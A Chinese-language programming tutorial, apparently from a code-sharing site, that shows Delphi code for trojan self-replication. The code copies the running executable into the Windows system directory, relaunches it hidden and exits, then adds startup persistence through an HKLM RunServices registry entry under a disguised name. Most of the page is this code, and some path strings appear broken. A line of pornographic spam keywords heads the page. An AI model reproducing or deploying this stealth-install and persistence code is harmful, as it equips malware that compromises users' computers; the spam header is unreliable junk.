亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Delphi實現(xiàn)木馬自我拷貝方法

 更新時間:2014年07月25日 11:45:33   投稿:shichen2014  
這篇文章主要介紹了Delphi實現(xiàn)木馬自我拷貝方法,對于研究木馬的運行原理很有幫助,需要的朋友可以參考下

木馬實現(xiàn)自我拷貝的原理是程序運行時先查看自己是不是在特定目錄下,如果是就繼續(xù)運行,如果不是就把自己拷貝到特定目錄下,然后運行新程序,繼而退出舊程序.
本例即以Delphi實現(xiàn)木馬的自我拷貝。
首先打開Delphi,新建一個工程,在窗口的Create事件中寫入如下代碼:

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;

其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

如何能使程序能在windows啟動時自動啟動?
 
為了程序能在Windows每次啟動時自動運行,可以通過以下途徑來實現(xiàn).“冰河”用注冊表的方式。
加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 

相關(guān)文章

最新評論